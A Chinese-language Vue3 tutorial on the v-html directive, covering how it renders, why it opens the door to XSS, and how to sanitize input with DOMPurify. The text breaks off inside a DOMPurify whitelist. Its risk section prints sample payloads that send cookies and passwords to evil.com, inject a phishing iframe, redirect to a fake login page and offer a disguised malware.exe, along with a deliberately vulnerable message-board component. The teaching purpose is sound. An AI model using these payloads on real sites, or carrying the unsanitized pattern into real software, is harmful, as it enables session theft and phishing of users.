原始HTML插值：v-html指令的使用与安全风险

欣欣之王来了2026-10-25 18:58

在Vue3的世界里，v-html是一把双刃剑------它赋予你直接向DOM注入原始HTML的强大能力，却也悄然打开了XSS攻击的大门。本文将从底层原理出发，结合真实案例与安全实践，带你彻底掌握v-html的正确使用姿势，让你的Vue应用既灵活又安全。

引言

在Vue3的开发过程中，我们绝大多数时候都在使用双花括号插值语法 {``{ }} 来渲染数据。这种文本插值方式会将数据解释为纯文本，自动转义HTML标签，从而天然地防止了大部分的XSS（跨站脚本）攻击。然而，现实世界中的需求往往更加复杂：后端返回的富文本内容需要原样渲染、Markdown转换后的HTML需要直接插入DOM、第三方编辑器生成的HTML片段需要展示给用户......这些场景下，v-html指令就成为了不可或缺的工具。

但"能力越大，责任越大"。v-html绕过了Vue内置的HTML转义机制，如果使用不当，轻则导致页面样式错乱，重则引发严重的安全漏洞，让攻击者有机可乘。本文将从基础概念到进阶实战，从底层原理到安全防护，全方位解析v-html指令的正确使用方法。

一、v-html基础概念

1.1 什么是v-html指令

v-html是Vue提供的一个内置指令，用于向元素的innerHTML属性插入原始HTML内容。与文本插值{``{ }}不同，v-html不会对HTML标签进行转义处理，而是直接将字符串内容解析为HTML节点并渲染到页面中。

基本语法：

html 复制代码 
<template>
  <div v-html="rawHtmlContent"></div>
</template>

<script setup>
import { ref } from 'vue'

const rawHtmlContent = ref('<p style="color: red;">这是一段<span>红色</span>文字</p>')
</script>

上述代码中，rawHtmlContent的值会被直接注入到<div>元素的内部，浏览器会将其解析为真实的HTML节点，最终渲染出带有红色样式的段落文字。

指令的核心特征：

特征 说明
绑定对象 元素的 innerHTML 属性
数据流向 单向绑定（数据 → DOM）
作用范围 替换绑定元素的全部子内容
响应式 数据变化时自动更新DOM
安全机制 无内置转义，需自行处理

1.2 v-html与{{ }}文本插值的区别

这是Vue初学者最容易混淆的两个概念。让我们通过一个对比实验来直观感受它们的差异。

对比代码：

html 复制代码 
<template>
  <div class="comparison-demo">
    <!-- 文本插值 -->
    <div class="text-interpolation">
      <h3>文本插值 {{ }} 结果：</h3>
      <div class="output">{{ htmlString }}</div>
    </div>
    
    <!-- v-html插值 -->
    <div class="html-interpolation">
      <h3>v-html 结果：</h3>
      <div class="output" v-html="htmlString"></div>
    </div>
  </div>
</template>

<script setup>
import { ref } from 'vue'

const htmlString = ref('<strong>加粗文字</strong> <em>斜体文字</em> <span style="color:blue;">蓝色文字</span>')
</script>

渲染结果对比：

对比维度 {``{ }} 文本插值 v-html HTML插值
渲染内容 <strong>加粗文字</strong> <em>斜体文字</em> <span style="color:blue;">蓝色文字</span>（原样显示HTML标签字符串） 加粗文字 斜体文字 蓝色文字（解析为真实HTML）
HTML标签处理 转义为HTML实体（< → &lt;，> → &gt;） 不转义，直接解析为DOM节点
安全性 高，自动防XSS 低，需手动防护
适用场景 纯文本内容展示 富文本、Markdown渲染
是否支持子元素 支持（作为文本节点） 不支持，会替换所有子元素

底层处理差异：

javascript 复制代码 
// Vue内部对文本插值的处理（简化版）
function setTextContent(el, value) {
  // 创建文本节点，浏览器自动转义HTML
  el.textContent = value  // 等价于创建文本节点，不会解析HTML
}

// Vue内部对v-html的处理（简化版）
function setInnerHTML(el, value) {
  // 直接设置innerHTML，浏览器会解析HTML标签
  el.innerHTML = value  // 直接注入，HTML会被解析
}

1.3 v-html与v-text的区别

很多开发者会将v-html与v-text混淆，实际上它们的行为完全不同：

html 复制代码 
<template>
  <div class="demo">
    <!-- v-text：设置元素的textContent -->
    <p v-text="content"></p>
    
    <!-- v-html：设置元素的innerHTML -->
    <p v-html="content"></p>
    
    <!-- 两者都等价于以下原生操作 -->
    <!-- p.textContent = content -->
    <!-- p.innerHTML = content -->
  </div>
</template>

<script setup>
import { ref } from 'vue'

const content = ref('<span>Hello Vue3</span>')
</script>

详细对比表：

特性 v-text v-html {{ }}
对应DOM属性 textContent innerHTML textContent（间接）
HTML解析 不解析 解析 不解析
子元素处理 替换全部子节点 替换全部子节点 替换当前文本节点
简写形式 无 无 直接使用
性能 最快 较慢（需解析HTML） 快
安全性 安全 不安全 安全

二、v-html的工作原理

2.1 渲染机制深度解析

要真正理解v-html，我们需要深入Vue3的响应式渲染管线，看看它是如何将数据最终转化成DOM节点的。

下面的流程图展示了v-html从数据变化到DOM更新的完整链路：
#mermaid-svg-BkMkvrRdgBG4mOHg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-BkMkvrRdgBG4mOHg .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-BkMkvrRdgBG4mOHg .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-BkMkvrRdgBG4mOHg .error-icon{fill:#552222;}#mermaid-svg-BkMkvrRdgBG4mOHg .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-BkMkvrRdgBG4mOHg .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-BkMkvrRdgBG4mOHg .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-BkMkvrRdgBG4mOHg .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-BkMkvrRdgBG4mOHg .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-BkMkvrRdgBG4mOHg .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-BkMkvrRdgBG4mOHg .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-BkMkvrRdgBG4mOHg .marker{fill:#333333;stroke:#333333;}#mermaid-svg-BkMkvrRdgBG4mOHg .marker.cross{stroke:#333333;}#mermaid-svg-BkMkvrRdgBG4mOHg svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-BkMkvrRdgBG4mOHg p{margin:0;}#mermaid-svg-BkMkvrRdgBG4mOHg .label{font-family:"trebuchet ms",verdana,arial,sans-serif;color:#333;}#mermaid-svg-BkMkvrRdgBG4mOHg .cluster-label text{fill:#333;}#mermaid-svg-BkMkvrRdgBG4mOHg .cluster-label span{color:#333;}#mermaid-svg-BkMkvrRdgBG4mOHg .cluster-label span p{background-color:transparent;}#mermaid-svg-BkMkvrRdgBG4mOHg .label text,#mermaid-svg-BkMkvrRdgBG4mOHg span{fill:#333;color:#333;}#mermaid-svg-BkMkvrRdgBG4mOHg .node rect,#mermaid-svg-BkMkvrRdgBG4mOHg .node circle,#mermaid-svg-BkMkvrRdgBG4mOHg .node ellipse,#mermaid-svg-BkMkvrRdgBG4mOHg .node polygon,#mermaid-svg-BkMkvrRdgBG4mOHg .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-BkMkvrRdgBG4mOHg .rough-node .label text,#mermaid-svg-BkMkvrRdgBG4mOHg .node .label text,#mermaid-svg-BkMkvrRdgBG4mOHg .image-shape .label,#mermaid-svg-BkMkvrRdgBG4mOHg .icon-shape .label{text-anchor:middle;}#mermaid-svg-BkMkvrRdgBG4mOHg .node .katex path{fill:#000;stroke:#000;stroke-width:1px;}#mermaid-svg-BkMkvrRdgBG4mOHg .rough-node .label,#mermaid-svg-BkMkvrRdgBG4mOHg .node .label,#mermaid-svg-BkMkvrRdgBG4mOHg .image-shape .label,#mermaid-svg-BkMkvrRdgBG4mOHg .icon-shape .label{text-align:center;}#mermaid-svg-BkMkvrRdgBG4mOHg .node.clickable{cursor:pointer;}#mermaid-svg-BkMkvrRdgBG4mOHg .root .anchor path{fill:#333333!important;stroke-width:0;stroke:#333333;}#mermaid-svg-BkMkvrRdgBG4mOHg .arrowheadPath{fill:#333333;}#mermaid-svg-BkMkvrRdgBG4mOHg .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-BkMkvrRdgBG4mOHg .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-BkMkvrRdgBG4mOHg .edgeLabel{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-BkMkvrRdgBG4mOHg .edgeLabel p{background-color:rgba(232,232,232, 0.8);}#mermaid-svg-BkMkvrRdgBG4mOHg .edgeLabel rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-BkMkvrRdgBG4mOHg .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#mermaid-svg-BkMkvrRdgBG4mOHg .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-BkMkvrRdgBG4mOHg .cluster text{fill:#333;}#mermaid-svg-BkMkvrRdgBG4mOHg .cluster span{color:#333;}#mermaid-svg-BkMkvrRdgBG4mOHg div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-BkMkvrRdgBG4mOHg .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#mermaid-svg-BkMkvrRdgBG4mOHg rect.text{fill:none;stroke-width:0;}#mermaid-svg-BkMkvrRdgBG4mOHg .icon-shape,#mermaid-svg-BkMkvrRdgBG4mOHg .image-shape{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-BkMkvrRdgBG4mOHg .icon-shape p,#mermaid-svg-BkMkvrRdgBG4mOHg .image-shape p{background-color:rgba(232,232,232, 0.8);padding:2px;}#mermaid-svg-BkMkvrRdgBG4mOHg .icon-shape .label rect,#mermaid-svg-BkMkvrRdgBG4mOHg .image-shape .label rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-BkMkvrRdgBG4mOHg .label-icon{display:inline-block;height:1em;overflow:visible;vertical-align:-0.125em;}#mermaid-svg-BkMkvrRdgBG4mOHg .node .label-icon path{fill:currentColor;stroke:revert;stroke-width:revert;}#mermaid-svg-BkMkvrRdgBG4mOHg :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 相同
不同
响应式数据变化
触发副作用函数
组件更新调度
执行patch流程
比较新旧VNode
跳过更新
进入patchElement
处理props/directives
检测到v-html指令
读取v-html绑定的值
调用setElementHTML
el.innerHTML = newValue
浏览器解析HTML字符串
构建DOM树
触发渲染/重绘
页面更新完成

关键源码解析（Vue3运行时核心简化版）：

javascript 复制代码 
// packages/runtime-dom/src/directives/vHtml.ts (Vue3源码简化)
import { createDirective } from '../../runtime-core/src/directives'

export const vHtml = createDirective({
  // 挂载时调用
  mounted(el, { value }) {
    el.innerHTML = value == null ? '' : value
  },
  // 更新时调用
  updated(el, { value, oldValue }) {
    // 值没有变化时跳过更新，优化性能
    if (value !== oldValue) {
      el.innerHTML = value == null ? '' : value
    }
  }
})

从源码可以看出，v-html的实现非常简洁直接：它本质上就是在合适的时机调用el.innerHTML = value。这种简单性意味着它没有任何内置的安全防护机制，所有的安全责任都落在了开发者肩上。

2.2 v-html与虚拟DOM的交互

v-html对Vue的虚拟DOM（Virtual DOM）系统有一个重要的影响：使用v-html的元素，其子节点将完全由浏览器原生管理，不再受Vue的虚拟DOM追踪。
#mermaid-svg-15a7WHkirrzy0DEA{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-15a7WHkirrzy0DEA .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-15a7WHkirrzy0DEA .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-15a7WHkirrzy0DEA .error-icon{fill:#552222;}#mermaid-svg-15a7WHkirrzy0DEA .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-15a7WHkirrzy0DEA .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-15a7WHkirrzy0DEA .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-15a7WHkirrzy0DEA .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-15a7WHkirrzy0DEA .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-15a7WHkirrzy0DEA .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-15a7WHkirrzy0DEA .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-15a7WHkirrzy0DEA .marker{fill:#333333;stroke:#333333;}#mermaid-svg-15a7WHkirrzy0DEA .marker.cross{stroke:#333333;}#mermaid-svg-15a7WHkirrzy0DEA svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-15a7WHkirrzy0DEA p{margin:0;}#mermaid-svg-15a7WHkirrzy0DEA .label{font-family:"trebuchet ms",verdana,arial,sans-serif;color:#333;}#mermaid-svg-15a7WHkirrzy0DEA .cluster-label text{fill:#333;}#mermaid-svg-15a7WHkirrzy0DEA .cluster-label span{color:#333;}#mermaid-svg-15a7WHkirrzy0DEA .cluster-label span p{background-color:transparent;}#mermaid-svg-15a7WHkirrzy0DEA .label text,#mermaid-svg-15a7WHkirrzy0DEA span{fill:#333;color:#333;}#mermaid-svg-15a7WHkirrzy0DEA .node rect,#mermaid-svg-15a7WHkirrzy0DEA .node circle,#mermaid-svg-15a7WHkirrzy0DEA .node ellipse,#mermaid-svg-15a7WHkirrzy0DEA .node polygon,#mermaid-svg-15a7WHkirrzy0DEA .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-15a7WHkirrzy0DEA .rough-node .label text,#mermaid-svg-15a7WHkirrzy0DEA .node .label text,#mermaid-svg-15a7WHkirrzy0DEA .image-shape .label,#mermaid-svg-15a7WHkirrzy0DEA .icon-shape .label{text-anchor:middle;}#mermaid-svg-15a7WHkirrzy0DEA .node .katex path{fill:#000;stroke:#000;stroke-width:1px;}#mermaid-svg-15a7WHkirrzy0DEA .rough-node .label,#mermaid-svg-15a7WHkirrzy0DEA .node .label,#mermaid-svg-15a7WHkirrzy0DEA .image-shape .label,#mermaid-svg-15a7WHkirrzy0DEA .icon-shape .label{text-align:center;}#mermaid-svg-15a7WHkirrzy0DEA .node.clickable{cursor:pointer;}#mermaid-svg-15a7WHkirrzy0DEA .root .anchor path{fill:#333333!important;stroke-width:0;stroke:#333333;}#mermaid-svg-15a7WHkirrzy0DEA .arrowheadPath{fill:#333333;}#mermaid-svg-15a7WHkirrzy0DEA .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-15a7WHkirrzy0DEA .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-15a7WHkirrzy0DEA .edgeLabel{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-15a7WHkirrzy0DEA .edgeLabel p{background-color:rgba(232,232,232, 0.8);}#mermaid-svg-15a7WHkirrzy0DEA .edgeLabel rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-15a7WHkirrzy0DEA .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#mermaid-svg-15a7WHkirrzy0DEA .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-15a7WHkirrzy0DEA .cluster text{fill:#333;}#mermaid-svg-15a7WHkirrzy0DEA .cluster span{color:#333;}#mermaid-svg-15a7WHkirrzy0DEA div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-15a7WHkirrzy0DEA .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#mermaid-svg-15a7WHkirrzy0DEA rect.text{fill:none;stroke-width:0;}#mermaid-svg-15a7WHkirrzy0DEA .icon-shape,#mermaid-svg-15a7WHkirrzy0DEA .image-shape{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-15a7WHkirrzy0DEA .icon-shape p,#mermaid-svg-15a7WHkirrzy0DEA .image-shape p{background-color:rgba(232,232,232, 0.8);padding:2px;}#mermaid-svg-15a7WHkirrzy0DEA .icon-shape .label rect,#mermaid-svg-15a7WHkirrzy0DEA .image-shape .label rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-15a7WHkirrzy0DEA .label-icon{display:inline-block;height:1em;overflow:visible;vertical-align:-0.125em;}#mermaid-svg-15a7WHkirrzy0DEA .node .label-icon path{fill:currentColor;stroke:revert;stroke-width:revert;}#mermaid-svg-15a7WHkirrzy0DEA :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 浏览器原生DOM管辖
Vue虚拟DOM管辖范围
innerHTML边界
更新
innerHTML = value
父组件VNode
包含v-html的元素VNode
innerHTML解析出的DOM子树
响应式数据

关键影响：

  1. 子节点无法被Vue管理 ：v-html注入的HTML内容中的任何元素，Vue都不会将其纳入虚拟DOM的diff算法。这意味着你无法在这些动态注入的元素上使用v-if、v-for、@click等Vue指令。

  2. 组件边界中断 ：v-html内部的HTML不会被Vue的组件编译器处理，即使你写入了类似<MyComponent />的标签，也不会被实例化为Vue组件。

  3. 样式隔离 ：v-html注入的内容不会受到Vue组件的scoped样式影响，因为scoped样式是通过data-v-xxx属性选择器实现的，而v-html注入的内容不包含这些属性。

验证示例：

html 复制代码 
<template>
  <div class="vdom-demo">
    <!-- v-html中的Vue指令不会生效 -->
    <div v-html="injectedContent"></div>
    
    <!-- 对比：普通模板中的Vue指令会生效 -->
    <div>
      <p v-if="showExtra">这段文字受Vue控制</p>
      <button @click="handleClick">点击我</button>
    </div>
  </div>
</template>

<script setup>
import { ref } from 'vue'

const showExtra = ref(true)

const injectedContent = ref(`
  <p v-if="true">这段v-if不会生效，会原样显示</p>
  <button @click="alert('不会弹出')">点击无效</button>
  <MyComponent /> <!-- 不会实例化为Vue组件 -->
`)

const handleClick = () => {
  alert('只有这个按钮有效')
}
</script>

三、XSS安全风险详解

3.1 什么是XSS攻击

XSS（Cross-Site Scripting，跨站脚本攻击）是一种常见的Web安全漏洞，攻击者通过在目标网站上注入恶意脚本，当其他用户访问该页面时，恶意脚本会在用户浏览器中执行，从而窃取用户信息、劫持会话、篡改页面内容等。

XSS攻击的三种主要类型：
#mermaid-svg-IoajrxXZkkiWH636{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-IoajrxXZkkiWH636 .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-IoajrxXZkkiWH636 .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-IoajrxXZkkiWH636 .error-icon{fill:#552222;}#mermaid-svg-IoajrxXZkkiWH636 .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-IoajrxXZkkiWH636 .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-IoajrxXZkkiWH636 .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-IoajrxXZkkiWH636 .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-IoajrxXZkkiWH636 .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-IoajrxXZkkiWH636 .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-IoajrxXZkkiWH636 .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-IoajrxXZkkiWH636 .marker{fill:#333333;stroke:#333333;}#mermaid-svg-IoajrxXZkkiWH636 .marker.cross{stroke:#333333;}#mermaid-svg-IoajrxXZkkiWH636 svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-IoajrxXZkkiWH636 p{margin:0;}#mermaid-svg-IoajrxXZkkiWH636 .label{font-family:"trebuchet ms",verdana,arial,sans-serif;color:#333;}#mermaid-svg-IoajrxXZkkiWH636 .cluster-label text{fill:#333;}#mermaid-svg-IoajrxXZkkiWH636 .cluster-label span{color:#333;}#mermaid-svg-IoajrxXZkkiWH636 .cluster-label span p{background-color:transparent;}#mermaid-svg-IoajrxXZkkiWH636 .label text,#mermaid-svg-IoajrxXZkkiWH636 span{fill:#333;color:#333;}#mermaid-svg-IoajrxXZkkiWH636 .node rect,#mermaid-svg-IoajrxXZkkiWH636 .node circle,#mermaid-svg-IoajrxXZkkiWH636 .node ellipse,#mermaid-svg-IoajrxXZkkiWH636 .node polygon,#mermaid-svg-IoajrxXZkkiWH636 .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-IoajrxXZkkiWH636 .rough-node .label text,#mermaid-svg-IoajrxXZkkiWH636 .node .label text,#mermaid-svg-IoajrxXZkkiWH636 .image-shape .label,#mermaid-svg-IoajrxXZkkiWH636 .icon-shape .label{text-anchor:middle;}#mermaid-svg-IoajrxXZkkiWH636 .node .katex path{fill:#000;stroke:#000;stroke-width:1px;}#mermaid-svg-IoajrxXZkkiWH636 .rough-node .label,#mermaid-svg-IoajrxXZkkiWH636 .node .label,#mermaid-svg-IoajrxXZkkiWH636 .image-shape .label,#mermaid-svg-IoajrxXZkkiWH636 .icon-shape .label{text-align:center;}#mermaid-svg-IoajrxXZkkiWH636 .node.clickable{cursor:pointer;}#mermaid-svg-IoajrxXZkkiWH636 .root .anchor path{fill:#333333!important;stroke-width:0;stroke:#333333;}#mermaid-svg-IoajrxXZkkiWH636 .arrowheadPath{fill:#333333;}#mermaid-svg-IoajrxXZkkiWH636 .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-IoajrxXZkkiWH636 .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-IoajrxXZkkiWH636 .edgeLabel{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-IoajrxXZkkiWH636 .edgeLabel p{background-color:rgba(232,232,232, 0.8);}#mermaid-svg-IoajrxXZkkiWH636 .edgeLabel rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-IoajrxXZkkiWH636 .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#mermaid-svg-IoajrxXZkkiWH636 .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-IoajrxXZkkiWH636 .cluster text{fill:#333;}#mermaid-svg-IoajrxXZkkiWH636 .cluster span{color:#333;}#mermaid-svg-IoajrxXZkkiWH636 div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-IoajrxXZkkiWH636 .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#mermaid-svg-IoajrxXZkkiWH636 rect.text{fill:none;stroke-width:0;}#mermaid-svg-IoajrxXZkkiWH636 .icon-shape,#mermaid-svg-IoajrxXZkkiWH636 .image-shape{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-IoajrxXZkkiWH636 .icon-shape p,#mermaid-svg-IoajrxXZkkiWH636 .image-shape p{background-color:rgba(232,232,232, 0.8);padding:2px;}#mermaid-svg-IoajrxXZkkiWH636 .icon-shape .label rect,#mermaid-svg-IoajrxXZkkiWH636 .image-shape .label rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-IoajrxXZkkiWH636 .label-icon{display:inline-block;height:1em;overflow:visible;vertical-align:-0.125em;}#mermaid-svg-IoajrxXZkkiWH636 .node .label-icon path{fill:currentColor;stroke:revert;stroke-width:revert;}#mermaid-svg-IoajrxXZkkiWH636 :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} XSS跨站脚本攻击
存储型XSS
反射型XSS
DOM型XSS
恶意脚本被永久存储在目标服务器

（数据库、留言板、用户资料等）
受害场景：用户访问包含恶意

脚本的页面时触发
恶意脚本包含在URL参数中
受害场景：用户点击恶意链接，

服务器将脚本反射回页面
通过客户端脚本动态修改DOM
受害场景：v-html注入未净化的

HTML内容时触发

v-html主要涉及的风险类型是DOM型XSS ，因为恶意脚本是通过客户端JavaScript的innerHTML操作被注入到页面的，不需要经过服务器。

3.2 v-html带来的XSS风险

当使用v-html渲染用户可控的数据时，如果没有进行适当的HTML净化，攻击者就可以注入恶意脚本。以下是v-html可能带来的具体风险：

风险1：直接注入script标签

html 复制代码 
<template>
  <!-- 危险！如果userContent来自用户输入 -->
  <div v-html="userContent"></div>
</template>

<script setup>
import { ref } from 'vue'

// 假设这个值来自用户输入（如评论、个人简介等）
const userContent = ref(`
  <script>
    // 恶意代码：窃取cookie
    fetch('https://evil.com/steal?cookie=' + document.cookie)
  </script>
`)
</script>

注意： 通过innerHTML注入的<script>标签不会自动执行，这是浏览器的安全机制。但这并不意味着安全------攻击者还有其他手段。

风险2：事件处理器注入（更危险）

这是v-html最常见的攻击向量，因为通过innerHTML注入的带有事件处理器的HTML标签，其事件处理器会正常执行：

html 复制代码 
<template>
  <!-- 极度危险！ -->
  <div v-html="userComment"></div>
</template>

<script setup>
import { ref } from 'vue'

// 攻击者提交的评论内容
const userComment = ref(`
  <img 
    src="x" 
    onerror="
      const cookies = document.cookie;
      fetch('https://evil.com/steal?data=' + encodeURIComponent(cookies));
      document.body.innerHTML = '<h1>你的账号已被盗</h1>';
    "
  />
`)
</script>

风险3：iframe注入

html 复制代码 
<script setup>
import { ref } from 'vue'

// 攻击者可以注入隐藏的iframe进行钓鱼
const maliciousContent = ref(`
  <iframe 
    src="https://evil.com/phishing" 
    style="opacity:0;position:fixed;top:0;left:0;width:100%;height:100%;"
  ></iframe>
`)
</script>

风险4：CSS注入与点击劫持

html 复制代码 
<script setup>
import { ref } from 'vue'

// 通过CSS注入进行点击劫持
const clickjackingContent = ref(`
  <style>
    /* 覆盖整个页面的透明层 */
    .overlay {
      position: fixed;
      top: 0;
      left: 0;
      width: 100%;
      height: 100%;
      z-index: 9999;
      background: transparent;
    }
  </style>
  <div class="overlay" onclick="location.href='https://evil.com'"></div>
`)
</script>

3.3 真实攻击场景模拟

让我们构建一个完整的攻击场景来理解v-html的XSS风险：

场景：一个简单的留言板应用

html 复制代码 
<template>
  <div class="message-board">
    <h2>留言板</h2>
    
    <!-- 用户输入区 -->
    <div class="input-area">
      <textarea 
        v-model="newMessage" 
        placeholder="请输入留言..."
        rows="4"
      ></textarea>
      <button @click="submitMessage">提交留言</button>
    </div>
    
    <!-- 留言展示区 - 危险：直接使用v-html -->
    <div class="messages">
      <div 
        v-for="(msg, index) in messages" 
        :key="index"
        class="message-item"
        v-html="msg.content"  <!-- 安全漏洞！ -->
      ></div>
    </div>
  </div>
</template>

<script setup>
import { ref } from 'vue'

const newMessage = ref('')
const messages = ref([])

const submitMessage = () => {
  if (newMessage.value.trim()) {
    messages.value.push({
      id: Date.now(),
      content: newMessage.value  // 未净化的用户输入直接存储
    })
    newMessage.value = ''
  }
}
</script>

攻击者可以提交以下内容：

html 复制代码 
<!-- 攻击载荷1：窃取Cookie -->
<img src=x onerror="new Image().src='https://evil.com/log?c='+document.cookie">

<!-- 攻击载荷2：劫持页面 -->  
<div onmouseover="
  document.querySelector('.message-board').innerHTML=
    '<h3>请输入密码验证身份：</h3>
     <input type=password id=pass>
     <button onclick=fetch(`https://evil.com/pass?p=`+document.getElementById(`pass`).value)>验证</button>'
">把鼠标移到这里查看文章</div>

<!-- 攻击载荷3：重定向钓鱼 -->
<meta http-equiv="refresh" content="0;url=https://evil-fake-site.com/login">

<!-- 攻击载荷4：下载恶意文件 -->
<a href="malware.exe" download="重要文件.exe" style="display:block;padding:20px;font-size:24px;">
  点击下载重要文件
</a>

四、安全使用v-html

4.1 DOMPurify------内容净化的利器

DOMPurify是目前业界最受认可的客户端HTML净化库，它能够移除HTML中的恶意代码，只保留安全的标签和属性。

安装与基本使用：

bash 复制代码 
# 安装DOMPurify
npm install dompurify
# 或
yarn add dompurify
# 或
pnpm add dompurify
html 复制代码 
<template>
  <div class="safe-html-renderer">
    <div v-html="sanitizedContent"></div>
  </div>
</template>

<script setup>
import { ref, computed } from 'vue'
import DOMPurify from 'dompurify'

// 原始HTML内容（可能包含恶意代码）
const rawContent = ref(`
  <h2>用户简介</h2>
  <p>大家好，我是<strong>张三</strong></p>
  <img src="x" onerror="alert('XSS攻击！')" />
  <a href="javascript:void(0)" onclick="stealCookies()">点击领奖</a>
`)

// 使用DOMPurify净化内容
const sanitizedContent = computed(() => {
  return DOMPurify.sanitize(rawContent.value)
})
</script>

净化后的内容：

html 复制代码 
<!--
原始内容被净化后，恶意部分被移除：

<h2>用户简介</h2>
<p>大家好，我是<strong>张三</strong></p>
<img src="x">  ← onerror被移除
<a>点击领奖</a>  ← href和onclick被移除
-->

DOMPurify的配置选项：

javascript 复制代码 
import DOMPurify from 'dompurify'

// 严格的净化配置
const strictConfig = {
  // 允许的HTML标签白名单
  ALLOWED_TAGS: [
    'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
    'p', 'br', 'hr',
    'strong', 'b', 'em', 'i', 'u', 's',
    'ul', 'ol', 'li',
    'a', 'img',
